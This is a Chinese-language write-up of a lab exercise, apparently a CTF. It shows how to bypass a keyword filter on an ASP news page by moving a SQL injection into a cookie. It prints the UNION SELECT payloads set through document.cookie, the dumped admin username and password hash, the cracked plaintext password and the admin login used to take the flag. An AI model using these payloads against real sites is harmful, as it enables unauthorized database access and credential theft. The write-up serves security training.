目标地址:http://g8wepfcp.ia.aqlab.cn/shownews.asp?id=171
用 and 方式判断是否存在注入点,发现会拦截很多字符。测试发现包括但不限于 and,select,=。
换种方式:
?id=171 一个页面
?id=171-1 查出来是 id=170的页面,说明存在注入点
?id=171 order by 11 页面报错数据库出错
?id=171 order by 10 页面正常
说明表有10个字段。
试了 n 种方法,select 始终被拦截。后来在社区里看帖子发现大家都用另一种思路:Get 传参被拦截,尝试 Cookie 传参。
之前查询时参数是写在 URL 后面的。
把这个参数干掉,再查询,会发现此时页面查不到内容,因为没有参数。
F12 打开浏览器控制台,输入如下代码,然后再刷新页面会发现页面有内容了,这说明成功通过 cookie 进行传参。
document.cookie=”id=” + escape(“171”)
此时修改 cookie 值,查回显点。
document.cookie=”id=” + escape(“171 and 1=2 union select 1,2,3,4,5,6,7,8,9,10”)
此时页面会显示数据库出错。
我特地打开 mysql 数据库做了个测试,库里是允许直接 select 1,2,3… 的,只要后面的个数和前面一张表查询的字段个数相同是有效的,不明白这里为啥会报错。
union select 后面查的字段和前面表查的字段个数一致时应该是有效的才对。
union select 后面查的字段和前面表查的字段个数不一致时才会报错。
在其它文章里看到说直接猜表名为 admin,带上表名就可以看到回显点了。
document.cookie=”id=” + escape(“171 and 1=2 union select 1,2,3,4,5,6,7,8,9,10 from admin”)
找到回显点 2,3,7,8
后面就是查字段名,查数据了。(字段名 username 和 password 又是靠猜测……)
document.cookie=”id=” + escape(“171 and 1=2 union select 1,username,password,4,5,6,7,8,9,10 from admin”)
拿到用户信息 拿到用户信息 admin / b9a2a2b5dffb918c,密码在 https://cmd5.com/ 进行解密得到明文是 welcome。
http://g8wepfcp.ia.aqlab.cn/ 这个首页地址后面加上 /admin 一般是后台地址,输入 admin/welcome 进入后台成功拿到 flag。
打赏我,让我更有动力~
© 2016 - 2024 掌控者 All Rights Reserved.